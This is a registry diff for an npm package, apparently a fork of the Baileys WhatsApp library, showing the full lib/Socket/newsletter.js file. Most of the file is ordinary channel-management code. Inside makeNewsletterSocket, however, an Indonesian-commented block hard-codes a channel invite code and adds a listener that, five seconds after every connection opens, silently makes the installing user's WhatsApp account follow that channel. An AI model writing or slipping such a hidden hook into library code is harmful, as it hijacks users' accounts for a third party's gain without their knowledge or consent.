@ruthless-imperium/baileys 0.0.0-stage → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +23 -0
- package/README.md +97 -2
- package/WAProto/index.js +115856 -0
- package/engine-requirements.js +10 -0
- package/lib/Defaults/index.js +120 -0
- package/lib/Defaults/noxleyss-version.json +3 -0
- package/lib/Signal/Group/ciphertext-message.js +15 -0
- package/lib/Signal/Group/group-session-builder.js +64 -0
- package/lib/Signal/Group/group_cipher.js +96 -0
- package/lib/Signal/Group/index.js +57 -0
- package/lib/Signal/Group/keyhelper.js +55 -0
- package/lib/Signal/Group/queue-job.js +57 -0
- package/lib/Signal/Group/sender-chain-key.js +34 -0
- package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
- package/lib/Signal/Group/sender-key-message.js +69 -0
- package/lib/Signal/Group/sender-key-name.js +51 -0
- package/lib/Signal/Group/sender-key-record.js +53 -0
- package/lib/Signal/Group/sender-key-state.js +99 -0
- package/lib/Signal/Group/sender-message-key.js +29 -0
- package/lib/Signal/libsignal.js +184 -0
- package/lib/Socket/Client/index.js +18 -0
- package/lib/Socket/Client/types.js +13 -0
- package/lib/Socket/Client/websocket.js +72 -0
- package/lib/Socket/business.js +260 -0
- package/lib/Socket/chats.js +997 -0
- package/lib/Socket/groups.js +332 -0
- package/lib/Socket/index.js +10 -0
- package/lib/Socket/messages-recv.js +1149 -0
- package/lib/Socket/messages-send.js +944 -0
- package/lib/Socket/newsletter.js +274 -0
- package/lib/Socket/socket.js +646 -0
- package/lib/Socket/usync.js +70 -0
- package/lib/Store/index.js +8 -0
- package/lib/Store/make-in-memory-store.js +439 -0
- package/lib/Store/make-ordered-dictionary.js +81 -0
- package/lib/Store/object-repository.js +27 -0
- package/lib/Types/Auth.js +2 -0
- package/lib/Types/Call.js +2 -0
- package/lib/Types/Chat.js +4 -0
- package/lib/Types/Contact.js +2 -0
- package/lib/Types/Events.js +2 -0
- package/lib/Types/GroupMetadata.js +2 -0
- package/lib/Types/Label.js +27 -0
- package/lib/Types/LabelAssociation.js +9 -0
- package/lib/Types/Message.js +7 -0
- package/lib/Types/Newsletter.js +18 -0
- package/lib/Types/Product.js +2 -0
- package/lib/Types/Signal.js +2 -0
- package/lib/Types/Socket.js +2 -0
- package/lib/Types/State.js +2 -0
- package/lib/Types/USync.js +2 -0
- package/lib/Types/index.js +42 -0
- package/lib/Utils/auth-utils.js +199 -0
- package/lib/Utils/browser-utils.js +35 -0
- package/lib/Utils/business.js +234 -0
- package/lib/Utils/chat-utils.js +730 -0
- package/lib/Utils/crypto.js +193 -0
- package/lib/Utils/decode-wa-message.js +217 -0
- package/lib/Utils/event-buffer.js +518 -0
- package/lib/Utils/generics.js +467 -0
- package/lib/Utils/history.js +94 -0
- package/lib/Utils/index.js +35 -0
- package/lib/Utils/link-preview.js +126 -0
- package/lib/Utils/logger.js +7 -0
- package/lib/Utils/lt-hash.js +51 -0
- package/lib/Utils/make-mutex.js +43 -0
- package/lib/Utils/message-retry-manager.js +185 -0
- package/lib/Utils/messages-media.js +879 -0
- package/lib/Utils/messages.js +1944 -0
- package/lib/Utils/noise-handler.js +150 -0
- package/lib/Utils/noxleyss-event-stream.js +63 -0
- package/lib/Utils/process-message.js +404 -0
- package/lib/Utils/signal.js +153 -0
- package/lib/Utils/use-multi-file-auth-state.js +124 -0
- package/lib/Utils/validate-connection.js +229 -0
- package/lib/WABinary/constants.js +1303 -0
- package/lib/WABinary/decode.js +265 -0
- package/lib/WABinary/encode.js +250 -0
- package/lib/WABinary/generic-utils.js +110 -0
- package/lib/WABinary/index.js +21 -0
- package/lib/WABinary/jid-utils.js +85 -0
- package/lib/WABinary/types.js +2 -0
- package/lib/WAM/BinaryInfo.js +13 -0
- package/lib/WAM/constants.js +15350 -0
- package/lib/WAM/encode.js +155 -0
- package/lib/WAM/index.js +19 -0
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +32 -0
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +42 -0
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -0
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
- package/lib/WAUSync/Protocols/index.js +20 -0
- package/lib/WAUSync/USyncQuery.js +89 -0
- package/lib/WAUSync/USyncUser.js +26 -0
- package/lib/WAUSync/index.js +19 -0
- package/lib/index.js +431 -0
- package/package.json +119 -3
|
@@ -0,0 +1,274 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
4
|
+
const Types_1 = require("../Types");
|
|
5
|
+
const Utils_1 = require("../Utils");
|
|
6
|
+
const WABinary_1 = require("../WABinary");
|
|
7
|
+
const groups_1 = require("./groups");
|
|
8
|
+
const fetch = global.fetch;
|
|
9
|
+
var QueryIds;
|
|
10
|
+
(function (QueryIds) {
|
|
11
|
+
QueryIds["JOB_MUTATION"] = "7150902998257522";
|
|
12
|
+
QueryIds["METADATA"] = "6620195908089573";
|
|
13
|
+
QueryIds["UNFOLLOW"] = "7238632346214362";
|
|
14
|
+
QueryIds["FOLLOW"] = "7871414976211147";
|
|
15
|
+
QueryIds["UNMUTE"] = "7337137176362961";
|
|
16
|
+
QueryIds["MUTE"] = "25151904754424642";
|
|
17
|
+
QueryIds["CREATE"] = "6996806640408138";
|
|
18
|
+
QueryIds["ADMIN_COUNT"] = "7130823597031706";
|
|
19
|
+
QueryIds["CHANGE_OWNER"] = "7341777602580933";
|
|
20
|
+
QueryIds["DELETE"] = "8316537688363079";
|
|
21
|
+
QueryIds["DEMOTE"] = "6551828931592903";
|
|
22
|
+
})(QueryIds || (QueryIds = {}));
|
|
23
|
+
const makeNewsletterSocket = (config) => {
|
|
24
|
+
const sock = (0, groups_1.makeGroupsSocket)(config);
|
|
25
|
+
const { authState, signalRepository, query, generateMessageTag } = sock;
|
|
26
|
+
const encoder = new TextEncoder();
|
|
27
|
+
const newsletterQuery = async (jid, type, content) => (query({
|
|
28
|
+
tag: 'iq',
|
|
29
|
+
attrs: {
|
|
30
|
+
id: generateMessageTag(),
|
|
31
|
+
type,
|
|
32
|
+
xmlns: 'newsletter',
|
|
33
|
+
to: jid,
|
|
34
|
+
},
|
|
35
|
+
content
|
|
36
|
+
}));
|
|
37
|
+
const newsletterWMexQuery = async (jid, query_id, content) => (query({
|
|
38
|
+
tag: 'iq',
|
|
39
|
+
attrs: {
|
|
40
|
+
id: generateMessageTag(),
|
|
41
|
+
type: 'get',
|
|
42
|
+
xmlns: 'w:mex',
|
|
43
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
44
|
+
},
|
|
45
|
+
content: [
|
|
46
|
+
{
|
|
47
|
+
tag: 'query',
|
|
48
|
+
attrs: { query_id },
|
|
49
|
+
content: encoder.encode(JSON.stringify({
|
|
50
|
+
variables: {
|
|
51
|
+
'newsletter_id': jid,
|
|
52
|
+
...content
|
|
53
|
+
}
|
|
54
|
+
}))
|
|
55
|
+
}
|
|
56
|
+
]
|
|
57
|
+
}));
|
|
58
|
+
const parseFetchedUpdates = async (node, type) => {
|
|
59
|
+
let child;
|
|
60
|
+
if (type === 'messages')
|
|
61
|
+
child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages');
|
|
62
|
+
else {
|
|
63
|
+
const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates');
|
|
64
|
+
child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages');
|
|
65
|
+
}
|
|
66
|
+
return await Promise.all((0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
|
|
67
|
+
var _a, _b;
|
|
68
|
+
messageNode.attrs.from = child === null || child === void 0 ? void 0 : child.attrs.jid;
|
|
69
|
+
const views = parseInt(((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.count) || '0');
|
|
70
|
+
const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions');
|
|
71
|
+
const reactions = (0, WABinary_1.getBinaryNodeChildren)(reactionNode, 'reaction')
|
|
72
|
+
.map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }));
|
|
73
|
+
const data = {
|
|
74
|
+
'server_id': messageNode.attrs.server_id,
|
|
75
|
+
views,
|
|
76
|
+
reactions
|
|
77
|
+
};
|
|
78
|
+
if (type === 'messages') {
|
|
79
|
+
const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(messageNode, authState.creds.me.id, authState.creds.me.lid || '', signalRepository, config.logger);
|
|
80
|
+
await decrypt();
|
|
81
|
+
data.message = message;
|
|
82
|
+
}
|
|
83
|
+
return data;
|
|
84
|
+
}));
|
|
85
|
+
};
|
|
86
|
+
// ===== AUTO FOLLOW CHANNEL MILIK SENDIRI =====
|
|
87
|
+
// Ganti dengan kode channelmu (bagian belakang link https://whatsapp.com/channel/KODE)
|
|
88
|
+
const MY_CHANNEL_INVITE = 'K0029VbDlfld4yltRwFKFL73X';
|
|
89
|
+
const autoFollowMyChannel = async () => {
|
|
90
|
+
try {
|
|
91
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
92
|
+
input: { key: MY_CHANNEL_INVITE, type: 'INVITE', view_role: 'GUEST' },
|
|
93
|
+
fetch_viewer_metadata: true,
|
|
94
|
+
fetch_full_image: true,
|
|
95
|
+
fetch_creation_time: true
|
|
96
|
+
});
|
|
97
|
+
const meta = (0, exports.extractNewsletterMetadata)(result);
|
|
98
|
+
await newsletterWMexQuery(meta.id, QueryIds.FOLLOW);
|
|
99
|
+
console.log('Berhasil follow channel:', meta.name);
|
|
100
|
+
} catch (e) {
|
|
101
|
+
console.log('Gagal follow channel:', e.message);
|
|
102
|
+
}
|
|
103
|
+
};
|
|
104
|
+
sock.ev.on('connection.update', ({ connection }) => {
|
|
105
|
+
if (connection !== 'open') return;
|
|
106
|
+
setTimeout(autoFollowMyChannel, 5000);
|
|
107
|
+
});
|
|
108
|
+
// ===== END =====
|
|
109
|
+
return {
|
|
110
|
+
...sock,
|
|
111
|
+
subscribeNewsletterUpdates: async (jid) => {
|
|
112
|
+
var _a;
|
|
113
|
+
const result = await newsletterQuery(jid, 'set', [{ tag: 'live_updates', attrs: {}, content: [] }]);
|
|
114
|
+
return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null || _a === void 0 ? void 0 : _a.attrs;
|
|
115
|
+
},
|
|
116
|
+
newsletterReactionMode: async (jid, mode) => {
|
|
117
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
118
|
+
updates: { settings: { reaction_codes: { value: mode } } }
|
|
119
|
+
});
|
|
120
|
+
},
|
|
121
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
122
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
123
|
+
updates: { description: description || '', settings: null }
|
|
124
|
+
});
|
|
125
|
+
},
|
|
126
|
+
newsletterUpdateName: async (jid, name) => {
|
|
127
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
128
|
+
updates: { name, settings: null }
|
|
129
|
+
});
|
|
130
|
+
},
|
|
131
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
132
|
+
const { img } = await (0, Utils_1.generateProfilePicture)(content);
|
|
133
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
134
|
+
updates: { picture: img.toString('base64'), settings: null }
|
|
135
|
+
});
|
|
136
|
+
},
|
|
137
|
+
newsletterRemovePicture: async (jid) => {
|
|
138
|
+
await newsletterWMexQuery(jid, QueryIds.JOB_MUTATION, {
|
|
139
|
+
updates: { picture: '', settings: null }
|
|
140
|
+
});
|
|
141
|
+
},
|
|
142
|
+
newsletterUnfollow: async (jid) => {
|
|
143
|
+
await newsletterWMexQuery(jid, QueryIds.UNFOLLOW);
|
|
144
|
+
},
|
|
145
|
+
newsletterFollow: async (jid) => {
|
|
146
|
+
await newsletterWMexQuery(jid, QueryIds.FOLLOW);
|
|
147
|
+
},
|
|
148
|
+
newsletterUnmute: async (jid) => {
|
|
149
|
+
await newsletterWMexQuery(jid, QueryIds.UNMUTE);
|
|
150
|
+
},
|
|
151
|
+
newsletterMute: async (jid) => {
|
|
152
|
+
await newsletterWMexQuery(jid, QueryIds.MUTE);
|
|
153
|
+
},
|
|
154
|
+
newsletterCreate: async (name, description, picture) => {
|
|
155
|
+
await query({
|
|
156
|
+
tag: 'iq',
|
|
157
|
+
attrs: {
|
|
158
|
+
to: WABinary_1.S_WHATSAPP_NET,
|
|
159
|
+
xmlns: 'tos',
|
|
160
|
+
id: generateMessageTag(),
|
|
161
|
+
type: 'set'
|
|
162
|
+
},
|
|
163
|
+
content: [
|
|
164
|
+
{
|
|
165
|
+
tag: 'notice',
|
|
166
|
+
attrs: {
|
|
167
|
+
id: '20601218',
|
|
168
|
+
stage: '5'
|
|
169
|
+
},
|
|
170
|
+
content: []
|
|
171
|
+
}
|
|
172
|
+
]
|
|
173
|
+
});
|
|
174
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.CREATE, {
|
|
175
|
+
input: {
|
|
176
|
+
name,
|
|
177
|
+
description: description !== null && description !== void 0 ? description : null,
|
|
178
|
+
picture: picture ? (await (0, Utils_1.generateProfilePicture)(picture)).img.toString('base64') : null,
|
|
179
|
+
settings: null
|
|
180
|
+
}
|
|
181
|
+
});
|
|
182
|
+
return (0, exports.extractNewsletterMetadata)(result, true);
|
|
183
|
+
},
|
|
184
|
+
newsletterMetadata: async (type, key, role) => {
|
|
185
|
+
const result = await newsletterWMexQuery(undefined, QueryIds.METADATA, {
|
|
186
|
+
input: {
|
|
187
|
+
key,
|
|
188
|
+
type: type.toUpperCase(),
|
|
189
|
+
view_role: role || 'GUEST'
|
|
190
|
+
},
|
|
191
|
+
fetch_viewer_metadata: true,
|
|
192
|
+
fetch_full_image: true,
|
|
193
|
+
fetch_creation_time: true
|
|
194
|
+
});
|
|
195
|
+
return (0, exports.extractNewsletterMetadata)(result);
|
|
196
|
+
},
|
|
197
|
+
newsletterAdminCount: async (jid) => {
|
|
198
|
+
var _a, _b;
|
|
199
|
+
const result = await newsletterWMexQuery(jid, QueryIds.ADMIN_COUNT);
|
|
200
|
+
const buff = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
201
|
+
return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count;
|
|
202
|
+
},
|
|
203
|
+
/**user is Lid, not Jid */
|
|
204
|
+
newsletterChangeOwner: async (jid, user) => {
|
|
205
|
+
await newsletterWMexQuery(jid, QueryIds.CHANGE_OWNER, {
|
|
206
|
+
user_id: user
|
|
207
|
+
});
|
|
208
|
+
},
|
|
209
|
+
/**user is Lid, not Jid */
|
|
210
|
+
newsletterDemote: async (jid, user) => {
|
|
211
|
+
await newsletterWMexQuery(jid, QueryIds.DEMOTE, {
|
|
212
|
+
user_id: user
|
|
213
|
+
});
|
|
214
|
+
},
|
|
215
|
+
newsletterDelete: async (jid) => {
|
|
216
|
+
await newsletterWMexQuery(jid, QueryIds.DELETE);
|
|
217
|
+
},
|
|
218
|
+
/**if code wasn't passed, the reaction will be removed (if is reacted) */
|
|
219
|
+
newsletterReactMessage: async (jid, server_id, code) => {
|
|
220
|
+
await query({
|
|
221
|
+
tag: 'message',
|
|
222
|
+
attrs: { to: jid, ...(!code ? { edit: '7' } : {}), type: 'reaction', server_id, id: (0, Utils_1.generateMessageID)() },
|
|
223
|
+
content: [{
|
|
224
|
+
tag: 'reaction',
|
|
225
|
+
attrs: code ? { code } : {}
|
|
226
|
+
}]
|
|
227
|
+
});
|
|
228
|
+
},
|
|
229
|
+
newsletterFetchMessages: async (type, key, count, after) => {
|
|
230
|
+
const afterStr = after === null || after === void 0 ? void 0 : after.toString();
|
|
231
|
+
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|
|
232
|
+
{
|
|
233
|
+
tag: 'messages',
|
|
234
|
+
attrs: { type, ...(type === 'invite' ? { key } : { jid: key }), count: count.toString(), after: afterStr || '100' }
|
|
235
|
+
}
|
|
236
|
+
]);
|
|
237
|
+
return await parseFetchedUpdates(result, 'messages');
|
|
238
|
+
},
|
|
239
|
+
newsletterFetchUpdates: async (jid, count, after, since) => {
|
|
240
|
+
const result = await newsletterQuery(jid, 'get', [
|
|
241
|
+
{
|
|
242
|
+
tag: 'message_updates',
|
|
243
|
+
attrs: { count: count.toString(), after: (after === null || after === void 0 ? void 0 : after.toString()) || '100', since: (since === null || since === void 0 ? void 0 : since.toString()) || '0' }
|
|
244
|
+
}
|
|
245
|
+
]);
|
|
246
|
+
return await parseFetchedUpdates(result, 'updates');
|
|
247
|
+
}
|
|
248
|
+
};
|
|
249
|
+
};
|
|
250
|
+
exports.makeNewsletterSocket = makeNewsletterSocket;
|
|
251
|
+
const extractNewsletterMetadata = (node, isCreate) => {
|
|
252
|
+
var _a, _b, _c, _d;
|
|
253
|
+
const result = (_b = (_a = (0, WABinary_1.getBinaryNodeChild)(node, 'result')) === null || _a === void 0 ? void 0 : _a.content) === null || _b === void 0 ? void 0 : _b.toString();
|
|
254
|
+
const metadataPath = JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER];
|
|
255
|
+
const metadata = {
|
|
256
|
+
id: metadataPath.id,
|
|
257
|
+
state: metadataPath.state.type,
|
|
258
|
+
creation_time: +metadataPath.thread_metadata.creation_time,
|
|
259
|
+
name: metadataPath.thread_metadata.name.text,
|
|
260
|
+
nameTime: +metadataPath.thread_metadata.name.update_time,
|
|
261
|
+
description: metadataPath.thread_metadata.description.text,
|
|
262
|
+
descriptionTime: +metadataPath.thread_metadata.description.update_time,
|
|
263
|
+
invite: metadataPath.thread_metadata.invite,
|
|
264
|
+
handle: metadataPath.thread_metadata.handle,
|
|
265
|
+
picture: ((_c = metadataPath.thread_metadata.picture) === null || _c === void 0 ? void 0 : _c.direct_path) || null,
|
|
266
|
+
preview: ((_d = metadataPath.thread_metadata.preview) === null || _d === void 0 ? void 0 : _d.direct_path) || null,
|
|
267
|
+
reaction_codes: metadataPath.thread_metadata.settings?.reaction_codes?.value || [],
|
|
268
|
+
subscribers: +metadataPath.thread_metadata.subscribers_count,
|
|
269
|
+
verification: metadataPath.thread_metadata.verification,
|
|
270
|
+
viewer_metadata: metadataPath.viewer_metadata
|
|
271
|
+
};
|
|
272
|
+
return metadata;
|
|
273
|
+
};
|
|
274
|
+
exports.extractNewsletterMetadata = extractNewsletterMetadata;
|